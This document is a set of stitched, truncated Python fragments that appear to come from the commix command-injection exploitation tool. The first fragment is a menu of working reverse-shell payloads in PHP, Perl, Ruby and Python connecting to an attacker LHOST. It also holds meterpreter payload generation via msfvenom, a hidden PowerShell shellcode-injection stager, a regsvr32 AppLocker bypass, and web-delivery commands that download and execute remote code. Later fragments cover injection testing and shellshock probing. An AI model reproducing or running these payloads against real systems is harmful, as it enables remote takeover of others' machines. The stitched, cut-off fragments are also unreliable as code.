def other_reverse_shells(): while True: other_shell = raw_input(""" ---[ """ + Style.BRIGHT + Fore.BLUE + """Unix-like reverse TCP shells""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP reverse TCP shell. Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl reverse TCP shell. Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby reverse TCP shell. Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python reverse TCP shell. \n---[ """ + Style.BRIGHT + Fore.BLUE + """Meterpreter reverse TCP shells""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a PHP meterpreter reverse TCP shell. Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Python meterpreter reverse TCP shell. Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a Windows meterpreter reverse TCP shell. Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use the web delivery script. commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_other""" + Style.RESET_ALL + """) > """) # PHP-reverse-shell if other_shell == '1': other_shell = "php -r '$sock=fsockopen(\"" + settings.LHOST + "\"," + settings.LPORT + ");" \ "exec(\"/bin/sh -i <%263 >%263 2>%263\");'" break # Perl-reverse-shell elif other_shell == '2': other_shell = "perl -e 'use Socket;" \ "$i=\"" + settings.LHOST + "\";" \ "$p=" + settings.LPORT + ";" \ "socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));" \ "if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">%26S\");" \ "open(STDOUT,\">%26S\");open(STDERR,\">%26S\");" \ "exec(\"/bin/sh -i\");};'" break # Ruby-reverse-shell elif other_shell == '3': other_shell = "ruby -rsocket -e '" \ "c=TCPSocket.new(\"" + settings.LHOST + "\"," + settings.LPORT + ");" \ "$stdin.reopen(c);" \ "$stdout.reopen(c);" \ "$stderr.reopen(c);" \ "$stdin.each_line{|l|l=l.strip;" \ "next if l.length==0;" \ "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }'" break # Python-reverse-shell elif other_shell == '4': other_shell = "python -c 'import socket,subprocess,os%0d" \ "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" \ "s.connect((\"" + settings.LHOST + "\"," + settings.LPORT + "))%0d" \ "os.dup2(s.fileno(),0)%0d" \ "os.dup2(s.fileno(),1)%0d" \ "os.dup2(s.fileno(),2)%0d" \ "p=subprocess.call([\"/bin/sh\",\"-i\"])%0d'" break # PHP-reverse-shell (meterpreter) elif other_shell == '5': if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG print settings.print_error_msg(error_msg) continue payload = "php/meterpreter/reverse_tcp" output = "php_meterpreter.rc" info_msg = "Generating the '" + payload + "' payload... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: proc = subprocess.Popen("msfvenom -p " + str(payload) + " LHOST=" + str(settings.LHOST) + " LPORT=" + str(settings.LPORT) + " -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait() with open (output, "r+") as content_file: data = content_file.readlines() data = ''.join(data).replace("\n"," ") print "[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]" # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: filewrite.write("use exploit/multi/handler\n" "set payload " + payload + "\n" "set lhost " + str(settings.LHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -r " + data else: other_shell = "php -r \"" + data + "\"" msf_launch_msg(output) except: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" break # Python-reverse-shell (meterpreter) elif other_shell == '6': if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG print settings.print_error_msg(error_msg) continue payload = "python/meterpreter/reverse_tcp" output = "py_meterpreter.rc" info_msg = "Generating the '" + payload + "' payload... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: proc = subprocess.Popen("msfvenom -p " + str(payload) + " LHOST=" + str(settings.LHOST) + " LPORT=" + str(settings.LPORT) + " -o " + output + ">/dev/null 2>&1", shell=True).wait() with open (output, "r") as content_file: data = content_file.readlines() data = ''.join(data) data = base64.b64encode(data) print "[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]" # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: filewrite.write("use exploit/multi/handler\n" "set payload " + payload + "\n" "set lhost " + str(settings.LHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR: set_python_working_dir() other_shell = settings.WIN_PYTHON_DIR + " -c exec('" + data + "'.decode('base64'))" else: other_shell = "python -c \"exec('" + data + "'.decode('base64'))\"" msf_launch_msg(output) except: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" break # Powershell injection attacks elif other_shell == '7': if not settings.TARGET_OS == "win": windows_only_attack_vector() continue else: while True: windows_reverse_shell = raw_input(""" ---[ """ + Style.BRIGHT + Fore.BLUE + """Powershell injection attacks""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use shellcode injection with native x86 shellcode. Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use TrustedSec's Magic Unicorn. Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Regsvr32.exe application whitelisting bypass. commix(""" + Style.BRIGHT + Fore.RED + """windows_meterpreter_reverse_tcp""" + Style.RESET_ALL + """) > """) if any(option in windows_reverse_shell.lower() for option in settings.SHELL_OPTIONS): if shell_options(windows_reverse_shell): return shell_options(windows_reverse_shell) elif windows_reverse_shell == '1' : output = "powershell_attack.rc" elif windows_reverse_shell == '2' : output = "powershell_attack.txt" elif windows_reverse_shell == '3' : output = "regsvr32_applocker_bypass_server.rc" else: err_msg = "The '" + windows_reverse_shell + "' option, is not valid." print settings.print_error_msg(err_msg) continue if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG print settings.print_error_msg(error_msg) continue payload = "windows/meterpreter/reverse_tcp" # Shellcode injection with native x86 shellcode if windows_reverse_shell == '1': gen_payload_msg(payload) try: proc = subprocess.Popen("msfvenom -p " + str(payload) + " LHOST=" + str(settings.LHOST) + " LPORT=" + str(settings.LPORT) + " -f c -o " + output + ">/dev/null 2>&1", shell=True).wait() with open(output, 'r') as content_file: repls = {';': '', ' ': '', '+': '', '"': '', '\n': '', 'buf=': '', '\\x': ',0x', 'unsignedcharbuf[]=': ''} shellcode = reduce(lambda a, kv: a.replace(*kv), iter(repls.items()), content_file.read()).rstrip()[1:] # One line shellcode injection with native x86 shellcode # Greetz to Dave Kennedy (@HackingDave) powershell_code = (r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };';$goat = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if($env:PROCESSOR_ARCHITECTURE -eq "AMD64"){$x86 = $env:SystemRoot + "syswow64WindowsPowerShellv1.0powershell";$cmd = "-noninteractive -EncodedCommand";iex "& $x86 $cmd $goat"}else{$cmd = "-noninteractive -EncodedCommand";iex "& powershell $cmd $goat";}""" % (shellcode)) other_shell = "powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand " + base64.b64encode(powershell_code.encode('utf_16_le')) print "[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]" with open(output, 'w+') as filewrite: filewrite.write("use exploit/multi/handler\n" "set payload " + payload + "\n" "set lhost " + str(settings.LHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") msf_launch_msg(output) except: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" break # TrustedSec's Magic Unicorn (3rd Party) elif windows_reverse_shell == '2': try: current_path = os.getcwd() try: unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../../', 'thirdparty/unicorn')) os.chdir(unicorn_path) # Check for Unicorn version. with open('unicorn.py') as unicorn_file: for line in unicorn_file: line = line.rstrip() if "Magic Unicorn Attack Vector v" in line: unicorn_version = line.replace("Magic Unicorn Attack Vector v", "").replace(" ", "").replace("-","").replace("\"","").replace(")","") break except: unicorn_version = "" update.check_unicorn_version(unicorn_version) try: if len(unicorn_version) == 0: unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../../', 'thirdparty/unicorn')) os.chdir(unicorn_path) gen_payload_msg(payload) subprocess.Popen("python unicorn.py" + " " + str(payload) + " " + str(settings.LHOST) + " " + str(settings.LPORT) + ">/dev/null 2>&1", shell=True).wait() with open(output, 'r') as content_file: other_shell = content_file.read().replace('\n', '') other_shell = urllib.quote_plus(other_shell) print "[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]" # Remove the ouput file os.remove(output) with open("unicorn.rc", 'w+') as filewrite: filewrite.write("use exploit/multi/handler\n" "set payload " + payload + "\n" "set lhost " + str(settings.LHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") msf_launch_msg("unicorn.rc") # Return to the current path. os.chdir(current_path) except: continue except: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" break # Regsvr32.exe application whitelisting bypass elif windows_reverse_shell == '3': with open(output, 'w+') as filewrite: filewrite.write("use exploit/windows/misc/regsvr32_applocker_bypass_server\n" "set payload " + payload + "\n" "set lhost " + str(settings.LHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "set srvport " + str(settings.SRVPORT) + "\n" "set uripath " + settings.URIPATH + "\n" "exploit\n\n") if not settings.TARGET_OS == "win": windows_only_attack_vector() continue else: other_shell = "regsvr32 /s /n /u /i:http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH +".sct scrobj.dll" msf_launch_msg(output) break break # Web delivery script elif other_shell == '8': while True: web_delivery = raw_input(""" ---[ """ + Style.BRIGHT + Fore.BLUE + """Web delivery script""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use Python meterpreter reverse TCP shell. Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use PHP meterpreter reverse TCP shell. Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Windows meterpreter reverse TCP shell. commix(""" + Style.BRIGHT + Fore.RED + """web_delivery""" + Style.RESET_ALL + """) > """) if any(option in web_delivery.lower() for option in settings.SHELL_OPTIONS): if shell_options(web_delivery): return shell_options(web_delivery) elif web_delivery == '1': payload = "python/meterpreter/reverse_tcp" elif web_delivery == '2': payload = "php/meterpreter/reverse_tcp" elif web_delivery == '3': payload = "windows/meterpreter/reverse_tcp" else: err_msg = "The '" + web_delivery + "' option, is not valid." print settings.print_error_msg(err_msg) continue if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG print settings.print_error_msg(error_msg) continue if 'payload' in locals(): output = "web_delivery.rc" with open(output, 'w+') as filewrite: filewrite.write("use exploit/multi/script/web_delivery\n" "set target " + str(int(web_delivery)-1) + "\n" "set payload " + payload + "\n" "set lhost " + str(settings.LHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "set srvport " + str(settings.SRVPORT) + "\n" "set uripath " + settings.URIPATH + "\n" "exploit\n\n") if web_delivery == '1': data = "import urllib2; r=urllib2.urlopen('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "'); exec(r.read());" data = base64.b64encode(data) if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR: set_python_working_dir() other_shell = settings.WIN_PYTHON_DIR + " -c exec('" + data + "'.decode('base64'))" else: other_shell = "python -c \"exec('" + data + "'.decode('base64'))\"" msf_launch_msg(output) break elif web_delivery == '2': if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -d allow_url_fopen=true -r eval(file_get_contents('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "'));" else: other_shell = "php -d allow_url_fopen=true -r \"eval(file_get_contents('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "'));\"" msf_launch_msg(output) break elif web_delivery == '3': if not settings.TARGET_OS == "win": windows_only_attack_vector() continue else: other_shell = "powershell -nop -w hidden -c $x=new-object net.webclient;$x.proxy=[Net.WebRequest]::GetSystemWebProxy(); $x.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $x.downloadstring('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "');" msf_launch_msg(output) break break # Check for available shell options elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS): if shell_options(other_shell): return shell_options(other_shell) # Invalid option else: err_msg = "The '" + other_shell + "' option, is not valid." print settings.print_error_msg(err_msg) continue return other_shell
def define_wordlists(): try: usernames = [] if not os.path.isfile(settings.USERNAMES_TXT_FILE): err_msg = "The username file (" + settings.USERNAMES_TXT_FILE + ") is not found" print settings.print_error_msg(err_msg) sys.exit(0) if len(settings.USERNAMES_TXT_FILE) == 0: err_msg = "The " + settings.USERNAMES_TXT_FILE + " file is empty." print settings.print_error_msg(err_msg) sys.exit(0) with open(settings.USERNAMES_TXT_FILE, "r") as f: for line in f: line = line.strip() usernames.append(line) except IOError: err_msg = " Check if the " + settings.USERNAMES_TXT_FILE + " file is readable or corrupted." print settings.print_error_msg(err_msg) sys.exit(0) try: passwords = [] if not os.path.isfile(settings.PASSWORDS_TXT_FILE): err_msg = "The password file (" + settings.PASSWORDS_TXT_FILE + ") is not found" + Style.RESET_ALL print settings.print_error_msg(err_msg) sys.exit(0) if len(settings.PASSWORDS_TXT_FILE) == 0: err_msg = "The " + settings.PASSWORDS_TXT_FILE + " file is empty." print settings.print_error_msg(err_msg) sys.exit(0) with open(settings.PASSWORDS_TXT_FILE, "r") as f: for line in f: line = line.strip() passwords.append(line) except IOError: err_msg = " Check if the " + settings.PASSWORDS_TXT_FILE + " file is readable or corrupted." print settings.print_error_msg(err_msg) sys.exit(0) return usernames, passwords
filename = logs_filename_creation() main(filename, url) except KeyboardInterrupt: abort_msg = "User aborted procedure " abort_msg += "during the " + checks.assessment_phase() abort_msg += " phase (Ctrl-C was pressed)." new_line = "\n" if settings.FILE_BASED_STATE or \ settings.TEMPFILE_BASED_STATE : if not settings.DETECTION_PHASE and \ settings.EXPLOITATION_PHASE: if settings.VERBOSITY_LEVEL != 0: new_line = "" print(new_line + settings.print_abort_msg(abort_msg)) try: logs.print_logs_notification(filename, url) print("") except NameError: raise SystemExit() except SystemExit: print("") raise SystemExit() except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise SystemExit() # eof
def injection_proccess(url, check_parameter, http_request_method, filename, timesec): if menu.options.ignore_code: info_msg = "Ignoring '" + str(menu.options.ignore_code) + "' HTTP error code. " print(settings.print_info_msg(info_msg)) # Skipping specific injection techniques. if settings.SKIP_TECHNIQUES: menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) for skip_tech_name in settings.AVAILABLE_TECHNIQUES: if skip_tech_name in menu.options.skip_tech: menu.options.tech = menu.options.tech.replace(skip_tech_name,"") if len(menu.options.tech) == 0: err_msg = "Detection procedure was aborted due to skipping all injection techniques." print(settings.print_critical_msg(err_msg)) raise SystemExit # User-Agent HTTP header / Referer HTTP header / # Host HTTP header / Custom HTTP header Injection(s) if check_parameter.startswith(" "): header_name = "" the_type = " HTTP header" else: if settings.COOKIE_INJECTION: header_name = " cookie" else: header_name = "" the_type = " parameter" check_parameter = " '" + check_parameter + "'" # Estimating the response time (in seconds) timesec, url_time_response = requests.estimate_response_time(url, timesec) # Load modules modules_handler.load_modules(url, http_request_method, filename) # Check for identified warnings url = heuristic_basic(url, http_request_method) if settings.IDENTIFIED_WARNINGS: if not settings.SKIP_COMMAND_INJECTIONS: ci = "command injection techniques" ce = "code injection technique" if not menu.options.batch: question_msg = "Do you want to skip test payloads for " question_msg += ci + "? [Y/n] > " procced_option = _input(settings.print_question_msg(question_msg)) else: procced_option = "" if procced_option in settings.CHOICE_YES or len(procced_option) == 0: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping " + ci + "." print(settings.print_debug_msg(debug_msg)) settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True elif procced_option in settings.CHOICE_NO: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping " + ce + "." print(settings.print_debug_msg(debug_msg)) settings.SKIP_CODE_INJECTIONS = True settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = False elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + procced_option + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass if not settings.LOAD_SESSION: info_msg = "Setting the" if not header_name == " cookie" and not the_type == " HTTP header": info_msg += " " + str(http_request_method) + "" info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] if header_name == " cookie" : info_msg += str(header_name) + str(the_type) + str(check_parameter) + " for tests." else: info_msg += str(the_type) + str(header_name) + str(check_parameter) + " for tests." print(settings.print_info_msg(info_msg)) if menu.options.failed_tries and \ menu.options.tech and not "f" in menu.options.tech and not \ menu.options.failed_tries: warn_msg = "Due to the provided (unsuitable) injection technique" warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", " warn_msg += "the option '--failed-tries' will be ignored." print(settings.print_warning_msg(warn_msg)) + Style.RESET_ALL # Procced with file-based semiblind command injection technique, # once the user provides the path of web server's root directory. if menu.options.web_root and \ menu.options.tech and not "f" in menu.options.tech: if not menu.options.web_root.endswith("/"): menu.options.web_root = menu.options.web_root + "/" if checks.procced_with_file_based_technique(): menu.options.tech = "f" if not menu.options.tech: menu.options.tech = "" if len(menu.options.tech) == 0 or "c" in menu.options.tech: settings.CLASSIC_STATE = True # Check if it is vulnerable to classic command injection technique. if not settings.SKIP_COMMAND_INJECTIONS and settings.CLASSIC_STATE: settings.CLASSIC_STATE = None if cb_handler.exploitation(url, timesec, filename, http_request_method) != False: if settings.EVAL_BASED_STATE: if not menu.options.batch: settings.CLASSIC_STATE = True question_msg = "Due to results, " question_msg += "skipping of code injection checks is recommended. " question_msg += "Do you agree? [Y/n] > " procced_option = _input(settings.print_question_msg(question_msg)) else: procced_option = "" if len(procced_option) == 0: procced_option = "Y" if procced_option in settings.CHOICE_YES: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping code injection checks." print(settings.print_debug_msg(debug_msg)) settings.SKIP_CODE_INJECTIONS = True elif procced_option in settings.CHOICE_NO: pass elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + procced_option + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: settings.CLASSIC_STATE = False if len(menu.options.tech) == 0 or "e" in menu.options.tech: settings.EVAL_BASED_STATE = True # Check if it is vulnerable to eval-based code injection technique. if not settings.SKIP_CODE_INJECTIONS and settings.EVAL_BASED_STATE: settings.EVAL_BASED_STATE = None if eb_handler.exploitation(url, timesec, filename, http_request_method) != False: if not menu.options.batch: settings.EVAL_BASED_STATE = True question_msg = "Due to results, " question_msg += "skipping of further command injection checks is recommended. " question_msg += "Do you agree? [Y/n] > " procced_option = _input(settings.print_question_msg(question_msg)) else: procced_option = "" if len(procced_option) == 0: procced_option = "Y" if procced_option in settings.CHOICE_YES: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping command injection checks." print(settings.print_debug_msg(debug_msg)) settings.SKIP_COMMAND_INJECTIONS = True elif procced_option in settings.CHOICE_NO: pass elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + procced_option + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: settings.EVAL_BASED_STATE = False if not settings.SKIP_COMMAND_INJECTIONS: if len(menu.options.tech) == 0 or "t" in menu.options.tech: settings.TIME_BASED_STATE = True # Check if it is vulnerable to time-based blind command injection technique. if settings.TIME_BASED_STATE: settings.TIME_BASED_STATE = None if tb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response) != False: settings.TIME_BASED_STATE = True else: settings.TIME_BASED_STATE = False if len(menu.options.tech) == 0 or "f" in menu.options.tech: settings.FILE_BASED_STATE = True # Check if it is vulnerable to file-based semiblind command injection technique. if settings.FILE_BASED_STATE: settings.FILE_BASED_STATE = None if fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response) != False: settings.FILE_BASED_STATE = True else: settings.FILE_BASED_STATE = False # All injection techniques seems to be failed! if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : warn_msg = "The tested" if header_name != " cookie" and the_type != " HTTP header": warn_msg += " " + str(http_request_method) + "" warn_msg += str(the_type) + str(header_name) + str(check_parameter) warn_msg += " seems to be not injectable." print(settings.print_warning_msg(warn_msg)) + Style.RESET_ALL
(str(url), str(technique), str(injection_type), \ str(separator), str(shell), str(vuln_parameter), str(prefix), str(suffix), \ str(TAG), str(alter_shell), str(payload), str(settings.HTTP_HEADER), str(http_request_method), \ int(url_time_response), int(delay), int(how_long), \ int(output_length), str(is_vulnerable))) conn.commit() conn.close() if settings.INJECTION_CHECKER == False: settings.INJECTION_CHECKER = True except sqlite3.OperationalError, err_msg: print settings.print_error_msg(err_msg) except sqlite3.DatabaseError, err_msg: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "If the problem persists use the '--flush-session' option." print "\n" + settings.print_error_msg(err_msg) sys.exit(0) """ Export successful applied techniques from session file. """ def applied_techniques(url, http_request_method): try: conn = sqlite3.connect(settings.SESSION_FILE) if settings.TESTABLE_PARAMETER: applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip WHERE \ url = '" + url + "' AND \ vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND \ http_request_method = '" + http_request_method + "' \ ORDER BY id DESC ;") else:
def do_check(url): """ This functinality is based on Filippo's Valsorda script [1] which uses HEAD requests (with fallback in case of 405) to follow the redirect path up to the real URL. --- [1] https://gist.github.com/FiloSottile/2077115 """ class HeadRequest(urllib2.Request): def get_method(self): return "HEAD" class HEADRedirectHandler(urllib2.HTTPRedirectHandler): """ Subclass the HTTPRedirectHandler to make it use our HeadRequest also on the redirected URL """ def redirect_request(self, req, fp, code, msg, headers, redirected_url): if code in (301, 302, 303, 307): redirected_url = redirected_url.replace(' ', '%20') newheaders = dict( (k, v) for k, v in req.headers.items() if k.lower() not in ("content-length", "content-type")) warn_msg = "Got a " + str( code) + " redirection (" + redirected_url + ")." print settings.print_warning_msg(warn_msg) return HeadRequest(redirected_url, headers=newheaders, origin_req_host=req.get_origin_req_host(), unverifiable=True) else: err_msg = str( urllib2.HTTPError(req.get_full_url(), code, msg, headers, fp)).replace(": ", " (") print settings.print_critical_msg(err_msg + ").") raise SystemExit() class HTTPMethodFallback(urllib2.BaseHandler): """ Fallback to GET if HEAD is not allowed (405 HTTP error) """ def http_error_405(self, req, fp, code, msg, headers): fp.read() fp.close() newheaders = dict( (k, v) for k, v in req.headers.items() if k.lower() not in ("content-length", "content-type")) return self.parent.open( urllib2.Request(req.get_full_url(), headers=newheaders, origin_req_host=req.get_origin_req_host(), unverifiable=True)) # Build our opener opener = urllib2.OpenerDirector() # Check if defined any Host HTTP header. if menu.options.host and settings.HOST_INJECTION == False: opener.addheaders.append(('Host', menu.options.host)) # Check if defined any User-Agent HTTP header. if menu.options.agent: opener.addheaders.append(('User-Agent', menu.options.agent)) # Check if defined any Referer HTTP header. if menu.options.referer and settings.REFERER_INJECTION == False: opener.addheaders.append(('Referer', menu.options.referer)) # Check if defined any Cookie HTTP header. if menu.options.cookie and settings.COOKIE_INJECTION == False: opener.addheaders.append(('Cookie', menu.options.cookie)) for handler in [ urllib2.HTTPHandler, HTTPMethodFallback, HEADRedirectHandler, urllib2.HTTPErrorProcessor, urllib2.HTTPSHandler ]: opener.add_handler(handler()) try: response = opener.open(HeadRequest(url)) redirected_url = response.geturl() if redirected_url != url: while True: if not menu.options.batch: question_msg = "Do you want to follow the identified redirection? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) redirection_option = sys.stdin.readline().replace( "\n", "").lower() else: redirection_option = "" if len(redirection_option ) == 0 or redirection_option in settings.CHOICE_YES: if menu.options.batch: info_msg = "Following redirection to '" + redirected_url + "'. " print settings.print_info_msg(info_msg) return redirected_url elif redirection_option in settings.CHOICE_NO: return url elif redirection_option in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + redirection_option + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: return url except urllib2.HTTPError, err: err_msg = str(err).replace(": ", " (") print settings.print_critical_msg(err_msg + ").") raise SystemExit()
def configure_reverse_tcp(separator): # Set up LHOST for the reverse TCP connection while True: option = _input("""commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """) if option.lower() == "reverse_tcp": warn_msg = "You are already into the '" + option.lower( ) + "' mode." print(settings.print_warning_msg(warn_msg)) continue if option.lower() == "?": menu.reverse_tcp_options() continue if option.lower() == "quit": raise SystemExit() elif option.lower() == "os_shell" or option.lower() == "back": settings.REVERSE_TCP = False break elif option.lower() == "bind_tcp": settings.BIND_TCP = True settings.REVERSE_TCP = False break elif len(settings.LPORT) != 0 and len(settings.LHOST) != 0: break elif option[0:4].lower() == "set ": if option[4:10].lower() == "lhost ": if check_lhost(option[10:]): if len(settings.LPORT) == 0: pass else: break else: continue elif option[4:10].lower() == "rhost ": err_msg = "The '" + option[4:9].upper() + "' option, is not " err_msg += "usable for 'reverse_tcp' mode. Use 'LHOST' option." print(settings.print_error_msg(err_msg)) continue elif option[4:10].lower() == "lport ": if check_lport(option[10:]): if len(settings.LHOST) == 0: pass else: break else: continue elif option[4:12].lower() == "srvport ": check_srvport(option[12:]) elif option[4:12].lower() == "uripath ": check_uripath(option[12:]) else: err_msg = "The '" + option + "' option, is not valid." print(settings.print_error_msg(err_msg)) pass else: err_msg = "The '" + option + "' option, is not valid." print(settings.print_error_msg(err_msg)) pass # eof
def shellshock_handler(url, http_request_method, filename): counter = 1 vp_flag = True no_result = True export_injection_info = False injection_type = "results-based command injection" technique = "shellshock injection technique" info_msg = "Testing the " + technique + "... " if settings.VERBOSITY_LEVEL > 1: info_msg = info_msg + "\n" sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: i = 0 total = len(shellshock_cves) * len(headers) for cve in shellshock_cves: for check_header in headers: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False i = i + 1 attack_vector = "echo " + cve + ":Done;" payload = shellshock_payloads(cve, attack_vector) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: sys.stdout.write("\n" + settings.print_payload(payload)) elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) print settings.print_payload(payload) header = {check_header : payload} request = urllib2.Request(url, None, header) if check_header == "User-Agent": menu.options.agent = payload else: menu.options.agent = default_user_agent log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) # Check if defined any HTTP Proxy. if menu.options.proxy: response = proxy.use_proxy(request) # Check if defined Tor. elif menu.options.tor: response = tor.use_tor(request) else: response = urllib2.urlopen(request) percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if str(float_percent) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL no_result = False elif len(response.info()) > 0 and cve in response.info(): percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL no_result = False elif len(response.read()) > 0 and cve in response.read(): percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL no_result = False else: percent = str(float_percent )+ "%" if not settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if no_result == False: # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) #if vp_flag == True: vuln_parameter = "HTTP Header" the_type = " " + vuln_parameter check_header = " " + check_header vp_flag = 